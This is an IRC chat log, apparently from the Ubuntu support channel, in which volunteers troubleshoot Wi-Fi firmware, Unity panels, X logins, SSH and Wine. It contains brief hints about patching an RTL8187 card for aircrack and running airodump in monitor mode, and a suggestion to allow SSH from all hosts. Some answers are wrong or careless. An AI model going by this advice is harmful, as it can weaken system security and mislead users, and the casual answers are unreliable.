[05:33] <DrMax> ahah
[05:33] <taglass> celthunder: It will work, but it might not start X :)
[05:33] <celthunder> Sharpshooter761: i have apple pie and caramels?
[05:33] <furous> telinit 5 does indeed not work...
[05:33] <Sharpshooter761> im canadian, for some reason i do not like apple pie. any other pie is great
[05:33] <celthunder> taglass: lol true enough telinit 5 without starting x kind of is telinit 3 though (unless he added something to his int
[05:33] <crlcan81> has anyone ever had an issue logging out and logging back in with headphones on a usb keyboard not being recognized? I've had that since 10.04, b ut only had this keyboard since 10.04
[05:33] <Sharpshooter761> i tend to choose pie because the cake is a lie
[05:33] <soreau> my panels aren't working in unity and I just want to log out (not reboot). How can I logout from CLI?
[05:34] <Sharpshooter761> panels are totally removed in unity :(
[05:34] <furous> So I should reboot to get out then?
[05:34] <drAg> :(
[05:34] <eigba_> celthunder, Runlevel is the word your looking for
[05:34] <_genuser_> soreau: you could just kill X.
[05:34] <drAg> Panels, being destroyed by Unity since October 2010
[05:34] <celthunder> eigba_: telinit just switches between runlevels
[05:34] <Eric__> ubuntu 10.10 wireless  adaptor not ready firmware missing.have now connected to the net with wir adaptor,how do I get the firmware please?
[05:35] <_genuser_> the ole panels were nice in unity, eh?
[05:35] <soreau> _genuser_: I started gnome-panel to access logout
[05:35] <celthunder> eigba_: though yeah i worded that badly
[05:35] <_genuser_> soreau: so you logged out finally?
[05:35] <celthunder> Eric__: what wireless adapter?
[05:36] <_genuser_> it's taking a while but the new unity in 10.10 is making sense.
[05:36] <_genuser_> and 11.04 is upgrading
[05:36] <Eric__> Celthunder_ intel mini adaptor
[05:36] <biffsharp> anyone have RTL8187 wireless chipset?
[05:37] <Omega> !wifi | biffsharp
[05:37] <ubottu> biffsharp: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs
[05:37] <celthunder> Eric__: so install intel-firmware or i2600 or whatever its called i think it's something i2600-fm?
[05:37] <Eric__> ineed something like device manager in windows
[05:37] <celthunder> Eric__: lshw
[05:37] <Sharpshooter761> question, how would i go about setting up an irc chat myself,
[05:38] <Sharpshooter761> i have a server and domainname already
[05:38] <celthunder> Sharpshooter761: ircd?
[05:38] <_genuser_> the rtl818x is pretty common. it should have kernel support.
[05:38] <celthunder> Sharpshooter761: pick an ircd software to run (preferably not unreal ) and install it configure it and start it
[05:38] <Sharpshooter761> sorry you guys have to put up with my lame questions XD
[05:38] <celthunder> Sharpshooter761: if you want services install those to
[05:38] <biffsharp> i can't figure out how to patch RTL8187 for aircrack
[05:38] <celthunder> and then link
[05:38] <drAg> No, Broadcom STA is more common on most laptops
[05:39] <furous> OK, so reboot it is then!
[05:39] <Sharpshooter761> cool, thanks once again
[05:39] <celthunder> furous: ?
[05:39] <itsTOREN> biffsharp : can u get the device into monitor mode?
[05:39] <furous> well I couldn't get out of that init 3 screen...
[05:39] <soreau> ugh, I selected ubuntu classic but it's still loading unity
[05:39] <celthunder> furous: stay there
[05:39] <soreau> What is the deal?
[05:39] <celthunder> furous:
[05:40] <biffsharp> well yes i can get it to do mon0 and airodump fine but not on a specific channel. its always fixed channel: -1
[05:40] <celthunder> furous: ok so while you're there....touch .xauthority
[05:40] <celthunder> (as your user in your users home dir
[05:40] <eiriksvin> is there a way to get a transparent screensaver?
[05:40] <itsTOREN> airodump --channel 7
[05:40] <itsTOREN> or what ever channel
[05:40] <biffsharp> yeah it doesnt work
[05:40] <coz_> ok guys,, I have a question:)  started gimp on this fresh install for the first time and it was a bit weird,, creatd a new user account and all was fine,  will the old command to purge gimps settins work on natty?
[05:40] <biffsharp> it will say fixed -1
[05:40] <celthunder> furous: capitalize the X .Xauthority sorry
[05:40] <celthunder> furous: then try
[05:40] <coz_> rather gnomes  settings
[05:41] <soreau> coz_: Hey, me first: I selected ubuntu classic but it's still loading unity
[05:41] <celthunder> furous: try running startx after doing that
[05:41] <soreau> What is going on with this thing?
[05:41] <celthunder> soreau: change it in xsessions or .xinitrc?
[05:42] <coz_> soreau, whoa... is the unity plugin enabled?
[05:42] <soreau> celthunder: Am I supposed to have to do that?
[05:42] <soreau> coz_: probably
[05:42] <coz_> soreau,  that would do it :)
[05:42] <celthunder> soreau: uhm its probably what your gui stuff is changing anyway
[05:42] <soreau> coz_: It doesn't start gnome-panel though
[05:43] <coz_> soreau,  restart x it s hould come back up
[05:43] <furous> it won't even go back to the prompt so that I can write anything!
[05:43] <soreau> coz_: I rebooted and it's still broken
[05:43] <coz_> soreau,   or  in terminal  gnome-panel & disown
[05:43] <Rehan> what log should I look at right after all of a sudden Ubuntu logs me out in the middle of something?
[05:44] <soreau> coz_: Well yea I know how to start it.. I just want to know why 'Ubuntu Classic' is still loading unity. It worked the first time I tried it but it's broken now
[05:44] <celthunder> Rehan: uhm what were you doing
[05:44] <Rehan> celthunder: thanks for helping
[05:44] <coz_> soreau,  that's puzzling,, it did happen to me once but it was because of the Unity plugin in ccsm
[05:44] <eiriksvin> does natty have a way to make classic ubuntu have transparent menus?
[05:44] <soreau> Rehan: /var/log/Xorg.0.log
[05:44] <Rehan> celthunder: i was trying to get my virtual terminal to work... :/
[05:44] <soreau> Rehan: Or .old
[05:44] <celthunder> Rehan: not enough tty's?
[05:45] <Rehan> celthunder: i'm not sure what that means...
[05:45] <crlcan81> god so many choices in shells
[05:45] <celthunder> crlcan81: welcome to linux
[05:45] <celthunder> Rehan: uhm if you ran outo f vtty's your virtual terminal won't work
[05:45] <Rehan> celthunder: if I do CTRL+ALT+F1 it shows my regular desktop, on ctrl+alt+f2 it goes to a black screen
[05:46] <Rehan> celthunder: but its a blank screen, nothing on it
[05:46]  * crlcan81 nods, I just hadn't really done as much with it in Ubuntu as in Windows Xp, LOVE to alter shell in XP.
[05:46] <celthunder> Rehan: ...that's messed up... f6 should be your desktop and 1-5 should be terminals
[05:46] <Rehan> celthunder: yeah...it should be F7 was my desktop
[05:46] <Rehan> celthunder: err it used to be F7
[05:46] <celthunder> f7 f6 close enough
[05:46] <Rehan> celthunder: could i PM you if you're not terribly busy?
[05:47] <celthunder> Rehan: you could and if i were busy i wouldn't be idling here
[05:47] <ngc604> hello all
[05:47] <celthunder> ngc604: hi
[05:47] <ngc604> i have a quick question
[05:47] <celthunder> quick answer
[05:47] <furous> rebooted, did ctrl alt f1 again, did touch .Xauthority, and startx gives me"xauth: (stdin):2:unknown command
[05:47] <celthunder> there you go
[05:48] <celthunder> ok what's the permissions on your home dir
[05:48] <celthunder> furous: what's the permissions on your home dir an files in it...this is starting to look like it's having problems accessing those files
[05:49] <eiriksvin> does natty have a way to make classic ubuntu have transparent menus?
[05:49] <ngc604> i recently had my laptop stolen and i am very mad about it.  i dont have money to buy a new one.  but i do have money to buy something cheep.  i am looking at a rack mount server from pacificgeek.com.  a dual 3.06 zeon.  now i know server will run fine on that but will desktop run fine on it with being able to use it for daily activities?
[05:49] <furous> bare with me, rebooting again...
[05:49] <celthunder> ngc604: depending what you consider daily activities
[05:50] <drAg> Good Bye Everyone
[05:50] <ngc604> internet, viewing pics, and going as far as recording music
[05:50] <celthunder> ngc604: if you consider resursive compiling gcc a daily activity no if you consider normal things...you'd be fine
[05:50] <drAg> Im going offline since people think Im spamming
[05:50] <tmp__> hi all. does not display thumbnails of video files in Nautilus. How to fix this?
[05:50] <celthunder> drAg: good
[05:50] <Eric__> is there a add new hardware in ubuntu 10.10 to automatically find anad install hw?
[05:50] <d4gg3r> hey, I am new to unity, how can I get network manager applet back? or how can I manage applets?
[05:50] <celthunder> Eric__: ?
[05:50] <paideia> hi I'm trying to use the Tor network with firefox (torbutton plugin) and when I switch it on and I attempt to connect to any website I get "the proxy is refusing connections" error. Then when I check Firefox's Connection Settings I see that it changed to manual proxy configuration 127.0.0.1 8118. What am I doing wrong? I have tor and polipo daemons running and I have saved the polipo rc file into my home folder.
[05:52] <furous> permission is to create and delete files, there is an .Xauthority file there [now?] and it has read and write permission
[05:52] <Eric__> cwlthunder_i am new to ubuntu,trying to get the wireless card going.don/t know where to start
[05:52] <crlcan81> xfce or lxde?
[05:52] <d4gg3r> how can I get network manager back?
[05:52] <celthunder> d4gg3r: install it
[05:52] <d4gg3r> it is installed, but does not show up!
[05:52] <celthunder> Eric__: lspci and look for it
[05:52] <d4gg3r> celthunder,
[05:53] <drAg> \ignore celthunder :D
[05:53] <celthunder> d4gg3r: sudo /etc/init.d/NetworkManager start
[05:53] <celthunder> d4gg3r: then run network manager
[05:53] <celthunder> or whatever the executable is called
[05:53] <stercor> Where are the firewall settings in Ubuntu 10.04LTS?
[05:54] <cyrex> app
[05:54] <bazhang> stercor, iptables
[05:54] <cyrex> internet
[05:54] <cyrex> app/internet
[05:54] <bazhang> stercor, or install gufw if you need a graphical UI
[05:54] <d4gg3r> celthunder, the job is already running!
[05:54] <celthunder> d4gg3r: then run the executable for it whatever it's called
[05:54] <stercor> I'm trying what's been suggested.
[05:54] <cyrex> this ubuntu hlp?
[05:55] <bazhang> cyrex, yes
[05:55] <Gloopie> +   - + ~    ~ jihadgloopx
[05:55] <tmp__> Who knows to fix my problem? thumbnails of video files doesnt display in Nautilus.
[05:55] <celthunder> stercor: iptables -L
[05:55] <binox> intel 82852/855  is it blacklisted?  can i enable the drivers by altering x11/xorg.conf?  do i need another command after editing the file.
[05:56] <cyrex> i want my 10.10 bak  N i wiped hd 2 put on 11.4
[05:56] <cyrex> can sum 1 hlp me
[05:56] <binox> im on maverick
[05:56] <bazhang> cyrex, then install it
[05:56] <cyrex> wehow do i get 2 the wine folder in 11.4
[05:57] <celthunder> cyrex: cd .wine
[05:57] <cyrex> ye3s
[05:57] <interpolate> cd ~/.wine
[05:57] <blackshirt> hello
[05:57] <soreau> Hey guys, where is the 'Home' button in chromium?
[05:57] <iceroot> cyrex: can you use normal english please instead of "sum 1" "2" and so on?
[05:57] <cyrex> i wanna copy wow over 2 windows b4 reinstalling ubuntu
[05:58] <soreau> found it in settings
[05:58] <celthunder> cyrex: i agree with iceroot and install ntfs-3g and mount your windows drive and cp it over then
[05:59] <soreau> Now where is the Reload button in chromium?
[05:59] <interpolate> F5
[06:00] <samw3> Hello all.  Anyone know where Gnome stores the menu items in the Applications menu?
[06:00] <soreau> oh no wonder, it's 'under' the stop button
[06:01] <stercor> I installed gufw and ALLOW port 22 IN from Anywhere.  I opened up the router for port 22.  When I ssh localhost the message is: ssh: connect to host localhost port 22: Connection refused.
[06:02] <celthunder> stercor: hosts.allow sshd: ALL: ALL
[06:02] <cyrex> actually how do i get t0 the c drive in wine on ubuntu 11.4
[06:02] <cyrex> ??
[06:02] <stercor> celthunder: where?
[06:02] <furous> so i should focus on Xauthority as being the problem?
[06:02] <binox> after editing a .conf,  do  i need to chmod or anything like that to activate those changes.  im trying to enable the intel drivers on a 82852/855 video card on maverick.  do i need to  and may it cause system instability
[06:02] <celthunder> furous: what's your file permissions can you pastebin ls -al ~ please as your user
[06:03] <d4gg3r> celthunder, what executable should i run? there is nothing other than the service...
[06:03] <celthunder> stercor: vi /etc/hosts.allow
[06:03] <celthunder> stercor: and add sshd: ALL: ALL
[06:03] <stercor> celthunder: Ah. OK.
[06:03] <celthunder> d4gg3r: one moment i'll look it up
[06:03] <d4gg3r> celthunder, ok :)
[06:03] <samw3> cyrex: ~/.wine/drive_c
[06:04] <furous> permission is to create and delete files, there is an .Xauthority file there [now?] and it has read and write permissio
[06:04] <cyrex> ty
[06:04] <samw3> Anyone know where Gnome stores the menu items in the Applications menu?
[06:05] <glaceman> hey guys ! anybody knows if there's any channel for the playstation ?
[06:05] <celthunder> d4gg3r: nmcli
[06:05] <celthunder> furous: how about write permissions on other files?
[06:05] <celthunder> glaceman: somewhere on somenetwork yes
[06:06] <glaceman> celthunder: any specific server in mind maybe ?
[06:06] <glaceman> celthunder: all i know is irc.ubuntu.com
[06:06] <d4gg3r> celthunder, nmcli: error while loading shared libraries: libnss3.so.1d: cannot open shared object file: No such file or directory
[06:06] <d4gg3r> celthunder, this was the problem
[06:06] <Viking667> ah well. Finally got Ubuntu One working, though not without having to kick up a browser first.
[06:06] <celthunder> d4gg3r: so install the libraries networkmanager relies on
[06:06] <cyrex> o0k that said it was a directory
[06:07] <Viking667> i.e. add libnss3
[06:07] <d4gg3r> celthunder, it is odd that ubuntu does not install it by itself
[06:07] <Viking667> You might want libnspr4 in addition
[06:08] <celthunder> d4gg3r: ? why should it?
[06:08]  * Viking667 blinks...
[06:08] <stercor> celthunder: I added ssh: ALL: ALL and sshd: ALL: ALL No change. still refuses the connection.
[06:08] <Viking667> hmmmm. Could I submit a bug report? Heh...
[06:08] <d4gg3r> celthunder, because it installs one package by default, without its dependencies?
[06:09] <d4gg3r> celthunder, it should work on a fresh installation
[06:09] <furous> other hidden files in the home directory seem to have read and write permissins too...
[06:09] <celthunder> Viking667: what's the bug?
[06:09] <celthunder> furous: ok
[06:09] <ZykoticK9> stercor, did you install ssh server?  is it running "ps aux | grep ssh"?
[06:09] <brous-kee> stercor umm you may have to parse the PAM configs for those
[06:10] <celthunder> d4gg3r: blame the package manager and just becauase YOU need those libraries doesn't mean everyone else wants them
[06:10] <stercor> ZykoticK9: Another thing to look at :-)
[06:10] <stercor> brous-kee: That's over my head.
[06:10] <d4gg3r> celthunder, network manager is not something that I only want!
[06:10] <Eric__> celthunder sudo bcm43xx-fwcutter -w /lib/firmware ~/Desktop/wl_apsta.o returns command not recognised
[06:10] <Viking667> When starting up Ubuntu ONE for the first time, it tells me I need an internet connection to use it. Does'nt allow me to click on anpthing else except the website... i.e. I can't click on the "I already have an account" lisk.
[06:10] <CoinOp> Updated from Update manager. Restarted and now after grub boots im stuck on a screen that has *stopping automatic crash report generation
[06:10] <Viking667> link
[06:10] <furous> does it matter what permissions the group has if the owner has read and write?
[06:11] <celthunder> furous: no
[06:11] <celthunder> Viking667: yeah sounds like a bug to me
[06:11] <ZykoticK9> Viking667, there is an Ubuntu One channel... probably #ubuntuone (but i didn't check)
[06:11] <stercor> celthunder: /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session gnome-session
[06:11] <DrMax> hmm How do I disable the stupid auto-maximizing of windows whenever I place a window near a screen edge?
[06:11] <celthunder> d4gg3r: i didn't say that
[06:11] <binox> from my understanding the intel 82852 is blacklisted and i need to edit the x11/xorg.conf  to reenable them.  anyone know how,  or after i edit the file,  do i need to chmod or anything to activate my changes
[06:12] <celthunder> binox: why are you editting xorg to blacklist/unblacklist modules?
[06:12] <Viking667> well, I found that if I ran "u1sdtool -c" I could connect... finally...
[06:12] <celthunder> binox: /etc/modprobe.d
[06:13] <binox> i created /etc/x11/xorg.conf  and entered this.        Section "Device"
[06:13] <binox>         Identifier      "Configured Video Device"
[06:13] <binox>         Driver          "intel"
[06:13] <binox> EndSection
[06:13] <binox> Section "Monitor"
[06:13] <binox>         Identifier      "Configured Monitor"
[06:13] <FloodBot3> binox: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:13] <Viking667> now I'm happy. But I think the text is misleading, so's the inability to click on the "I already have an account"
[06:13] <daniel_> heyhow would i make byobu terminal my default terminal so when i push ctrl alt t it will open that instead of the regular one
[06:14] <binox> woops
[06:14] <zetsuboukitteh> hey, any thoughts what might be the problem; updgraded to natty and a game I could play flawlessly before (xmoto) lags quite a lot now
[06:14] <celthunder> daniel_: what wm/de
[06:14] <zetsuboukitteh> oh, on xubuntu btw
[06:14] <daniel_> celthunder, ?
[06:15] <celthunder> daniel_: window manager/desktop environment you're using?
[06:15] <binox> celthunder:    i thought that is what i needed to do since maverick ships with those drivers to not install
[06:15] <semitones> Is it possible to start programs before gdm? I'd like to start redshift before gdm starts so that my login screen is more gentle on the eyes at night
[06:15] <daniel_> celthunder, im running 11.04 out of the box i think untiy?
[06:15] <^Phantom^> How long until 11.10 LTS?
[06:16] <binox> i cellthunder:  i installed xorg but that is not solving my opengl problem for games,  even something simple like supertux2
[06:16] <MK``> !12.04
[06:16] <daniel_> celthunder, unity or gnome 3 idk for sure what ever ships with 11.04
[06:16] <celthunder> daniel_: ok idk then...i use xmonad
[06:16] <MK``> !onerious
[06:16] <celthunder> semitones: yes it's entirely possible
[06:16] <daniel_> celthunder, oh ok
[06:16] <Peddy> how can i view a 'dynamic' version of dmesg that updates are the kernel displays new messages?
[06:16] <MK``> !oneric
[06:16] <ubottu> Ubuntu 11.10 (Oneiric Ocelot) will be the fifteenth release of Ubuntu.  Codename announcement here: http://www.markshuttleworth.com/?p=646
[06:16] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg   I cannot get past this.
[06:17] <MK``> there. That's not an LTS, ^Phantom^
[06:17] <daniel_> would anyone know how to get wireless working i dont know whats wrong with it it worked before i updated
[06:17] <binox> daniel:  what wireless card do you have
[06:18] <celthunder> Peddy: dmesg | less
[06:18] <xyq> 0.0
[06:18] <^Phantom^> I thought the .10's were?
[06:18] <celthunder> daniel_: does wlan0 or similar show up in ifconfig
[06:18] <semitones> celthunder, awesome! any idea how?
[06:18] <^Phantom^> @ MK``
[06:18] <mah454> Hello ...
[06:18] <celthunder> semitones: edit /etc/inittab
[06:19] <xyq> 有中国的吗？
[06:19] <celthunder> daniel_: or whats wrong with your wireless
[06:19] <celthunder> xyq: english?
[06:19] <tensorpudding> !cn | xyq
[06:19] <ubottu> xyq: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[06:19] <binox> old intel 82852/855 video card here,  3d acceleration is slow.  how can i enable the blacklisted drivers in maverick
[06:19] <xyq> i am chiness
[06:19] <furous> thanks for your help, I will keep searching to find the answer...
[06:19] <binox> flash works dvd works,  but opengl is slow
[06:19] <mah454> I have problem with printer , I can not share printer , receive this message "Not published Server Setting"
[06:20] <thelorax> is anyone having problems with their topbar in 11.04?
[06:20] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg   I cannot get past this.
[06:20] <semitones> celthunder, there's nothing in that file
[06:20] <celthunder> binox: /etc/modprobe.d
[06:20] <celthunder> semitones: ok edit whatever replaced that then
[06:20] <daniel_> celthunder, http://paste.ubuntu.com/602121/
[06:20] <binox> celthunder:  thanks
[06:20] <MK``> no ^Phantom^ it's the other way: alternating non-.10s so far. 6.06, 8.04, 10.04
[06:21] <celthunder> daniel_: is usb0 your wireless?
[06:21] <MK``> so the release after 11.10 will most likely be 12.04 LTS
[06:21] <mah454> I have BIG problem with printer , I can not share printer , receive this message "Not published Server Setting"
[06:21] <thelorax> anyone able to help?
[06:21] <daniel_> celthunder, no its my phone tether that i am usign so i can talk on here should i turn it off for asec ? then try it agian ?
[06:21] <celthunder> mah454: edit your cups setting
[06:22] <celthunder> daniel_: no
[06:22] <celthunder> thelorax: perhaps
[06:22] <^Phantom^> MK``, ah, okay
[06:22] <xyq> my english is bad    who can speak in chiness
[06:22] <celthunder> daniel_: ok lspci do you see your wireless card?
[06:22] <^Phantom^> ty
[06:22] <^Phantom^> night all
[06:22] <MK``> !cn | xyq
[06:22] <ubottu> xyq: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[06:23] <xyq> thank you
[06:23] <daniel_> celthunder, http://paste.ubuntu.com/602122/
[06:23] <celthunder> hi MK`` sup
[06:23] <MK``> hi celthunder
[06:24] <celthunder> daniel_: Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01)
[06:24] <thelorax> celtthunder: i just upgraded from 10.04 to 11.04 and my topbar isnt visable
[06:24] <celthunder> daniel_: did you loadthe broadcom drivers/firmware?
[06:24] <celthunder> thelorax: i think that's supposed to happen no idea though...
[06:25] <daniel_> celthunder, yeh it says there in use i went to avaible drivers and it says it is in use
[06:25] <tmp__> sudo pat-get install b43-fwcutter
[06:25] <tmp__> i have bcm4312
[06:25] <celthunder> thanks tmp__
[06:26] <photon> USA USA USA USA USA USA USA USA USA USA USA USA
[06:26] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg   I cannot get past this.
[06:26] <daniel_> celthunder, my wifi worked before i updated and it just doesnt now is there someone i should type into the terminal to tell it to lol ?
[06:26] <tensorpudding> !ot | photon
[06:26] <ubottu> photon: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[06:26] <celthunder> daniel_: did you read tmp__ 'scomment on it?
[06:26] <SerialMDK> lcb
[06:26] <celthunder> daniel_: also modprobe b43
[06:27] <tensorpudding> CoinOp: what do you mean by "cannot get past this"
[06:27] <tensorpudding> does the shutdown halt then
[06:27] <daniel_> tmp_, should i type that in the termianl?
[06:27] <CoinOp> tensorpudding: it just stays on that screen indefinately
[06:27] <neil_> whenever I start a torrent download I get "/tmp/xxx.par cound not be saved, because the source file could not e read...." even from http://www.ubuntu.com/download/ubuntu/download .... why?  ... is my isp blocking all torrent downloads?
[06:28] <CoinOp> tensorpudding: not for over five minutes.
[06:28] <tmp__> daniel_ yes, sudo apt-get install b43-fwcutter and go to system administration addtional drivers
[06:29] <Zeeofu> neil_: yes, try using proxy
[06:29] <CoinOp> tensorpudding: I just upgraded from 10.10 on update manager, after the restart this is as far as I get past grub.
[06:29] <daniel_> tmp__, ok its done downloading and im at additional drivers now what
[06:30] <tensorpudding> CoinOp: try rebooting, does it do it again?
[06:30] <Zeeofu> is there any cloudapp application for ubuntu
[06:30] <CoinOp> tensorpudding: Every time
[06:30] <SerialMDK> can anyone tell me how to load a video driver with an 11.04 install?
[06:30] <bazhang> Zeeofu, ubuntu one?
[06:30] <Zeeofu> bazhang: can connect to clouapp using ubuntu one
[06:31] <tmp__> daniel_ there must  activation on Broadcom B43 wireless drivers
[06:31] <thelorax> is there anyway to switch back to 10.04 from 11.04? i dont think 11.04 loaded properly
[06:31] <tensorpudding> CoinOp: not sure then
[06:31] <bazhang> thelorax, full reinstall
[06:31] <POOPHAMMMER> so guys i got ubuntu installed of vmware and i am chatting from vmware
[06:31] <POOPHAMMMER> does that mean i did it right
[06:31] <tmp__> thelorax only reinstall, will be simple
[06:31] <Zeeofu> is updating to 11.0 worth updating
[06:31] <daniel_> tmp__, yeh its been activated and been in use the networking tool just wont take notice of it
[06:31] <celthunder> POOPHAMMMER: did what right?
[06:31] <POOPHAMMMER> it
[06:31] <CoinOp> tensorpudding: Well thank you for looking
[06:31] <celthunder> POOPHAMMMER: sure why not
[06:32] <celthunder> Zeeofu: personal preferences
[06:32] <thelorax> how to i do that from terminal? will it erase my photos and mp3s? or will it be fine like when i upgraded?
[06:32] <daniel_> Zeeofu, no dont do it unless u want a head ache wifi dont work for me i get random reboots now and unity isnt better then gnome or w.e
[06:32] <bazhang> thelorax, a full reinstall wont be from the terminal
[06:33] <neil_> Zeeofu, is there a howto on setting this up?
[06:33] <POOPHAMMMER> well
[06:33] <daniel_> tmp__, u have any ideas why it wont notice its there?
[06:33] <tmp__> daniel_ what message iwconfig ?
[06:33] <POOPHAMMMER> when i installed ubuntu it told me i would need to install linux
[06:33] <POOPHAMMMER> how do i do it
[06:33] <celthunder> someone kick poophammer
[06:33] <thelorax> bazhang: im new to all this..can you explain?
[06:33] <celthunder> .votekick poophammmer
[06:33] <POOPHAMMMER> no im serious
[06:33] <POOPHAMMMER> im chatting from irssi
[06:34] <POOPHAMMMER> how do i install linux
[06:34] <tensorpudding> you installed it in vmware?
[06:34] <daniel_> tmp__, it says lo eth0 and usb0 all followed by no wireless extension
[06:34] <POOPHAMMMER> yes i installed it in vmware
[06:34] <POOPHAMMMER> now what
[06:34] <bazhang> thelorax, a full reinstall means getting the 10.04 iso, burning it to cd and reinstalling from that
[06:34] <celthunder> you spam the hell out of the channel until a bot bans you poophamme thats how
[06:34] <tmp__> daniel_ rfkill list in terminal
[06:34] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg  It does not progress beyond this point. Tried multiple reboots.
[06:34] <bazhang> POOPHAMMMER, please stop. Ubuntu = Linux
[06:34] <thelorax> bazhang: my notebook hasnt a cd drive
[06:34] <POOPHAMMMER> no it is linux
[06:35] <POOPHAMMMER> how do i install it
[06:35] <ejv> POOPHAMMMER: https://help.ubuntu.com/community/Installation
[06:35] <celthunder> thank you bazhang
[06:35] <daniel_> daniel@Shiela:~$ rfkill list
[06:35] <daniel_> 0: dell-wifi: Wireless LAN
[06:35] <daniel_> 	Soft blocked: no
[06:35] <daniel_> 	Hard blocked: yes
[06:35] <FloodBot3> daniel_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:35] <ejv> lol
[06:35] <bazhang> thelorax, then unetbootin with a flash key
[06:35] <ejv> i didn't know u had powerz bazhang
[06:35] <ejv> :p
[06:35] <Zeeofu> neil_, do you have windows installed?
[06:35] <tmp__> daniel_ blocked on hard, not in linux
[06:36] <daniel_> tmp__, whats that mean ?
[06:36] <tmp__> daniel_ on of on notebopk\pc
[06:36] <lwizardl> hello
[06:36] <bazhang> !usb > thelorax
[06:36] <ubottu> thelorax, please see my private message
[06:36] <neil_> Zeeofu, no, ubuntu 10.10
[06:36] <lwizardl> does anyone know of any good applications for making music beats on linux ?
[06:36] <Zeeofu> neil_, if yes then install uTorrent and go to proxy settings, there are hunderes of free proxy servers avilable, google it.
[06:36] <daniel_> tmp__, ok they both say yes now
[06:36] <daniel_> tmp__, i mean no
[06:37] <thelorax> bazhang: i dont know what that means...when installed 10.04 about 6mo. ago i just downloaded it to my hardrive and it installed alongside windows 7
[06:37] <daniel_> 0: dell-wifi: Wireless LAN
[06:37] <daniel_> 	Soft blocked: no
[06:37] <daniel_> 	Hard blocked: no
[06:37] <tmp__> good
[06:37] <tmp__> iwconfig
[06:37] <bazhang> thelorax, wubi install?
[06:37] <Zeeofu> daniel_, thanks bro
[06:37] <daniel_> tmp__, still same exact thing
[06:37] <thelorax> bazhang:then a few days ago i upgraded to 11.04 thru my update manager or whatever..
[06:37] <thelorax> bazhang: yeah wubi
[06:38] <POOPHAMMMER> how do i install linux
[06:38] <thelorax> bazhang: now i cant see my menu bar on the top of my desktop
[06:38] <Zeeofu> Bye everyone, Have a nice day!
[06:38] <POOPHAMMMER> i installed ubuntu and irzzi
[06:38] <POOPHAMMMER> sisi
[06:38] <POOPHAMMMER> ssi
[06:38] <daniel_> Zeeofu, well unity is ok and awesome if u like
[06:38] <POOPHAMMMER> irssi
[06:38] <bazhang> thelorax, there is no downgrade in wubi either as far as I know
[06:38] <FloodBot3> POOPHAMMMER: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:38] <POOPHAMMMER> im not flooding
[06:38] <POOPHAMMMER> flooding is for the japanese
[06:38] <ejv> lol
[06:38] <Viking667> yeah, you are fl00ding
[06:38] <thelorax> bazhang: so how would i go about accessing my applications and such?
[06:39] <tmp__> daniel_  see your wifi adapters
[06:39] <daniel_> tmp__, how do i do that ?
[06:39] <Dungolisiss> unsa
[06:39] <Viking667> anyhow, I'm glad I got Ubuntu One installed, and working... though really, it looks entirely like a clone of DropBox plus syncing of Firefox bookmarks (which firefox already offers, I think) and Evolution contacts
[06:39] <Appleby> connect irc.synirc.net
[06:39] <tmp__> daniel_ in documentation name of adapter
[06:40] <bear_> hi
[06:40] <thelorax> bazhang: you know? on the top of the screen? the menubar with applications and system and administration and all that?
[06:40] <daniel_> tmp__, hmm this ?This package contains Broadcom 802.11 Linux STA wireless driverfor use with Broadcom's BCM4311-, BCM4312-, BCM4313-, BCM4321-,BCM4322-, BCM43224-, and BCM43225-, BCM43227- and BCM43228-basedhardware.
[06:41] <ZykoticK9> !panels | thelorax
[06:41] <ubottu> thelorax: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[06:41] <CoinOp> Here is a photo of my issue if anyone can help http://i.imgur.com/Q0DEW.jpg   I cannot progress beyond this screen. Any help would be appreciated.
[06:41] <tmp__> daniel_ nonono, sorry for my english. Broadcom 43xx, your xx?
[06:42] <Taint_> hi
[06:42] <aLeSD> hi all
[06:42] <aLeSD> I am using gnome 2.32.1 on ubuntu 11.04 ... I am tring to replace the panel with awn. I run this line "gconftool-2 --type=string --set /desktop/gnome/session/required_components/panel 'avant-window-navigator'" .. but, on login, the gnome-panel is still here . someone could help me ?
[06:42] <thelorax> ZykoticK9: oh menu bar is really called "panel"?
[06:43] <richiefrich> how can i block the upgrade, as i dont want unity
[06:43] <rage> I've got a weird bug after upgrading to 11.04. All text that should be displayed by compiz is missing
[06:43] <daniel_> tmp__, sorry idk were to find that ? but i think its 11
[06:43] <thelorax> ubottu: that will make my menubar..or "panel" show back up?
[06:43] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[06:43] <richiefrich> and i dont wanna run it on accident
[06:43] <daniel_> tmp__, http://paste.ubuntu.com/602122/ i think this should say right ?
[06:43] <_genuser_> wait richiefrich uses ubuntu also?
[06:43] <tmp__> daniel_ You have brcm 4311, havent you?
[06:43] <richiefrich> _genuser_: i use them all
[06:43] <_genuser_> richiefrich: hey there. see you in gentoo too
[06:44] <Taint_> richiefrich: Good question. Someone told me Unity is a piece of shit so I would rather stick with regular GNOME hehe.
[06:44] <daniel_> tmp__, yes i belive so
[06:44] <richiefrich> _genuser_:  yeah
[06:44] <bazhang> Taint_, no cursing
[06:44] <richiefrich> _genuser_: i work at a datacenter and i need to help others
[06:44] <Taint_> bazhang: Oh my bad.
[06:44] <richiefrich> i need to bnlock the 11.x upgrade though
[06:44] <richiefrich> i dont want unity
[06:44] <tmp__> daniel_ "on" on notebook
[06:45] <richiefrich> Taint_: it trys to be OSX
